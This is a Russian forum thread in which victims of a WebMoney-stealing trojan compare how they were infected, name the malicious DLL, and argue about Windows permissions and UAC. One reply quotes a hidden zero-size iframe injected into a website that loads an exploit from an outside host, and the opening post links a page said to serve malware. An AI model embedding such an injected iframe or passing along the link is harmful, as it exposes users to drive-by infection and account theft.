Что такое UAC? - Финансы - Общение профессионалов

У кого украли Webmoney и доступ к ним - давайте разберемся наконец-то?

Spowen · 2020-07-28T15:09:42.0000000Z

Я к сожалению также, как и многие люди в последнее время ( Аналогичный топик , ещё топик ) попал под раздачу, а точнее - наоборот. В общем, очень неприятнейшая ситуация, как и у многих людей, пострадавших от злостного трояна (с большой долей вероятности - это вот эта хренотень ). Рассказываю свою историю как было дело: В пятницу вечером как обычно просматривал на Торрентах (Rutracker.org) новинки. Решил поставить на закачку несколько видео. В это время как обычно трепался в аське с другом. Для справки: на машине стоит NOD32, Outpost Firewall, Spyware Doctor - все с последними базами и постоянными обновлениями. Ничего не подозревающий я дальше просматривал скрины из файлов, которые предлагались для скачивания на торрентах. Все бы хорошо, но вдруг ни с того ни с сего выскакивает окошко: "Ошибка vlioey.exe" - типа как что-то запустилось и неудачно, или просто отрыгнулось, но факт я запомнил - ещё сразу загуглил и пошутил с другом в аське, что подхватил виря. NOD, Outpost и Spyware Doctor МОЛЧАЛИ. В гугле - 0 результатов по данному файлу или процессу. Эта ошибка выпала при заходе на сервис картинок Fastpic.ru. Данный ресурс недавно примкнул к Torretns.ru как новый сервис по хранению картинок. Посещалка очень большая. Но сейчас мы двигаемся дальше по хронологии моих событий... Далее я естественно заподозрил неладное, перезагрузил машину и просканировался полностью. Никто ничего не нашел, все 3 проги. (в аутпосте тоже есть функция сканирования на Spyware). Двигаемся дальше - никаких подозрительных активностей, никаких фактов того, что это действительно был вирус... Все это заставило меня спокойно продолжить работать на машине. Webmoney Keeper запускал, оплачивал счета - все было хорошо. После того, как поработал в программе, успешно закрыл ее и отправился спать. На выходных машина обычно используется в роли мультимедийного центра, по этому назначению и использовалась, инет был активен. Никаких подозрений не было и тогда. В воскресенье вечером опять начал работать, включаю кипер - и вот тут-то у меня добавилось седых волос. "Серьёзная ошибка при выполнении команды". Потом и второе окошко "Некорректный идентификатор или пароль" . Ну думаю, всякое бывает, наверное глюк. Перепробовал миллиард и один вариант, опять добавил себе седых волос, подставил файл ключей и пароль к нему - все срабатывает, но окно все равно не исчезает. Пошел гуглить... и нагуглил естественно темки у меня взломали Webmoney , взломали Webmoney и ещё много другого (можно ввести в поисковик по ключам). Прочитав понял, что вполне возможно это троян, ссылку на который я давал выше. Но стучать человеку, продающему его я ещё не пробовал, думаю бесполезно. Но это ещё далеко не конец истории. Я огорчился и на фоне огорчения стал думать о дальнейшей безопасности. Потому как пока я не знаю деньги ушли из кошельков или нет - в саппорте Webmoney на этот вопрос не отвечают, а арбитраж очень много дней в неделю отдыхает, включая 8 марта. Насчет самой системы - отдельный разговор. Неужели нельзя сделать саппорт 24/7 и дать все полномочия саппорту именно по подобным вопросам. И собственно забросило меня на Rutracker.org - стал я смотреть на дистрибутивы Линукса, на их красоту и неприступность и фантазировать о том, как же безопасно мне будет работать на линуксе. И что вы думаете? В это самое время, когда я смотрел очередной скриншот, опять же с сайта Fastpic.ru - ещё одно "чудо" пыталось пробраться, на этот раз NOD отбил угрозу, но аналогично была ошибка открытия какого-то экзешника, сейчас напишу даже какого, но думаю даже имя экзешника генерируется по случайности - этим обьясняется молчание гугла по этому поводу. Нет, к сожалению имя файла у меня не сохранилось, зато сохранилась прямая ссылка, по которой я получил "в лоб": http://fastpic.ru/view/3/2009/1023/532c655b7bfc306c3822f0acdcf014ed.png.html - надеюсь ходить туда Вы не будете без соответствующего образования/обмундирования и аммуниции ибо на данный момент я уверен эта ссылка представляет опасность до сих пор. Я бы вообще запретил в фаерволе этот хост - fastpic.ru. Это не антиреклама для него, это истина, которую мы ещё обязательно обсудим. Смысл из всего, что связано с этим сайтом следующий: Либо специально, либо случайно, либо ещё как (взломали сайт например) на этом сайте висит какой-то "волшебный" поп-ап или поп-андер, или его разновидность. Люди зарабатывают на рекламе партнерками, которые не всегда белые. Чаще всего - серые или черные. И крутиться в этих партнерках может хоть сам дьявол. Смысл улавливаете? Я отпишу людям из Fastpic.ru и наверное дам ссылку на эту тему. Сегодня в нашем жестоком мире нельзя верить никому, поэтому я не могу быть уверен в том, что это случайность, или "темная" партнерка, используемая на сайте. Вполне возможно, что сами владельцы занимаются подобной хренью. Но это естественно, предположение. На данный момент я хочу, чтобы те, кто пострадал таким же образом обьединили свои усилия и информацию, которую мы имеем воедино. Буду рад, если кто-то также проявит инициативу и предложит что делать дальше. На данный момент мои действия и советы тем, кто попался на это: Если попытаться словить за яйца (очень хочется!) обидчиков, то сейчас стоит задача: выяснить откуда ноги растут. Поэтому как минимум нужно пообщаться с представителями Fastpic.ru. Одновременно с этим писать в саппорт Webmoney и арбитраж. Мой идентификатор заблокировали, но обычный саппорт вообще практически не имеет полномочий. Любому, кто наткнется на подобную ошибку - сразу писать в саппорт чтобы блокировали кошельки на вывод средств. Кроме всего прочего: идентифицировать, что "что-то не в порядке" можно так: Идем в C:/program files/Webmoney/ и ищем такой файлик: inetmib1.dll . Если он находится в директории с Webmoney - это и есть часть трояна. Касперский уже определяет его, как сказали из его техподдержки. Он определяется как: inetmib1.dll - Trojan-Spy.Win32.Wemon.cv На данный момент неизвестно какое количество людей пострадало, но думаю довольно приличное. Здесь просьба отписываться тех, кто пострадал и главное: какие меры уже предпринял, какие результаты. Как правило деньги уводятся в выходные, конвертируются в ближайшем электронном обменнике, переводятся на Яндекс-Деньги и выводятся, либо на них покупаются товары в инет магазинах. В общем, неисповедимы их пути... На сегодня я практически ничего не смог сделать, кроме шерсти интернета, подобных тем и колебания воздуха. Вебманевский саппорт отвечает примерно раз в 2.5 часа. Толку от него только в блокировании кошельков, остальное не в его компетенции, а в компетенции арбитража, как он сам обьясняет. Зарегистрировал новый WMID вчера ночью. Сегодня зайти в него уже не получается. Интересное дело - прога просто закрывается сразу как только заходит в онлайн. Поставил самую новую версию - тоже самое. Видимо я ещё не полностью почистился от этой нечисти. Благодарю всех за внимание и надеюсь это будет полезно всем. Если где-то Вы хотите меня поправить или дополнить - милости прошу. Ещё есть очень большая пища для размышлений: вот такая вот статейка из журнала хакер . Была написана давно, но я думаю в ней очень многое ещё актуально.

173

beginerx

2 апреля 2010, 10:20

#741

Слэш:
C:\Program Files\WebMoney\inetmib1.dll

Версия виндов Windows XP SP2 ?

В SP3 вроде как в Program Files молча уже ничего записать нельзя даже под админом (погорячился...)!

А также опять вопрос

1. зачем работать под админом?

2. почему Касперский а не Avast у которого есть ф-ия запрета записи dll на диск?

3. Лиса?

>>>Скорость и Реакция<<< (https://vk.com/app4629907 ): онлайн тренировка скорости и времени реакции.... (https://vk.com/app4612117 )... (https://vk.com/club18740762 ).

1774

LEOnidUKG

2 апреля 2010, 10:24

#742

крутотень! 75 страниц туфты! Молодцы парни лабайте дальше.

LEOnidUKG добавил 02.04.2010 в 14:25

beginerx:
В SP3 вроде как в Program Files молча уже ничего записать нельзя даже под админом!

Это как? т.е. если я буду копировать файл ctrl+c ctrl+v он у меня какой-то вопрос будет задавать? требовать смс отправить? 😂

✅ Мой Телеграм канал по SEO, оптимизации сайтов и серверов: https://t.me/leonidukgLIVE ✅ Качественное и рабочее размещение SEO статей СНГ и Бурж: https://getmanylinks.ru/ ✅ Настройка и оптимизация серверов https://getmanyspeed.ru/

173

beginerx

2 апреля 2010, 10:30

#743

он скажет нет прав. Права на запись туда остались только у службы инсталятора msi

Хотя возможо погорячился, спутал с Юзером, сейчас поставлю лицензию XP SP2 обновлю до SP3 и проверю, не левой сборке это так, но не факто что под лицензией. Но Avast железно блокирует запись исполняемых, точно помню проверял на XP SP2 SP3 Vista

Да LEOnidUKG прав, лицензия XP SP3 ничего не спрашивает, жесть, ну и дыра эта XP. Vista для записи в програм файлс спрашивает подтверждения прав админа даже если юзер и есть админ (UAC). Т.е. под вистой в папку вебманей левый длл не запихать...

104

_vb_

2 апреля 2010, 12:31

#744

hectorix:
urod.ru скорее всего содержал сплоит, процентов на 90% я уверен что хапнул именно оттуда

добавил......

вот что там висит щас

<noindex><iframe src="http://trfistb.info/for.cgi?tank" width="0" height="0" style="visibility: hidden;"></iframe></noindex>

Нормально?

угу, оно. бился в ограниченном аккаунте, как тигр в клетке. мозилу мне подвесил. если б умел привилегии повышать - полностью бы овладел той виртуальной машинкой, где запускался :)

Саратовская фракция серча (). Давайте посчитаемся.

173

beginerx

2 апреля 2010, 13:01

#745

а тело удалось посмотреть? интересно какие дыры в лисе используются?

Сам не рискнул... :-O

1774

LEOnidUKG

2 апреля 2010, 13:11

#746

beginerx:
Да LEOnidUKG прав, лицензия XP SP3 ничего не спрашивает, жесть, ну и дыра эта XP. Vista для записи в програм файлс спрашивает подтверждения прав админа даже если юзер и есть админ (UAC). Т.е. под вистой в папку вебманей левый длл не запихать...

Это сработает, если на рут стоит пароль, иначе дохлый номер. Да и вырубают люди этот UAC поголовно, я один из них 🤪

104

_vb_

2 апреля 2010, 13:24

#747

beginerx:
а тело удалось посмотреть? интересно какие дыры в лисе используются?

А смысл его рассматривать? Завтра-послезавтра оно уже другое будет. Оно живет в до тех пор, пока онлайновая проверка не покажет его наличие в основных антивирусных базах. Там ведь конвейер, почище чем конвейер по выпечке ГС.

Симантек правда ругнулся, но как-то невнятно.

H

12

hectorix

2 апреля 2010, 13:31

#748

каким образом можно повлиять на этого пи*ара что хостит ифрейм а также дальше по цепочке? есть возможность стукнуть куда нужно? отдел К или еще что?

98

Hoodie

2 апреля 2010, 13:36

#749

LEOnidUKG:
Да и вырубают люди этот UAC поголовно, я один из них

На Windows 7 UAC вполне вменяемый.

IS

160

Igor-san

2 апреля 2010, 13:57

#750

Hoodie:
На Windows 7 UAC вполне вменяемый.

Подтверждаю, Windows 7 х64 - абсолютно не напрягает. Ну кликнешь раз в день на предупреждение. Конечно, если не являешься тестировщиком программ и переставляешь их многократно.

Зачем быть уникальным в мире, где все можно скопировать

В 2023 году 36,9% всех DDoS-атак пришлось на сферу финансов

У кого украли Webmoney и доступ к ним - давайте разберемся наконец-то?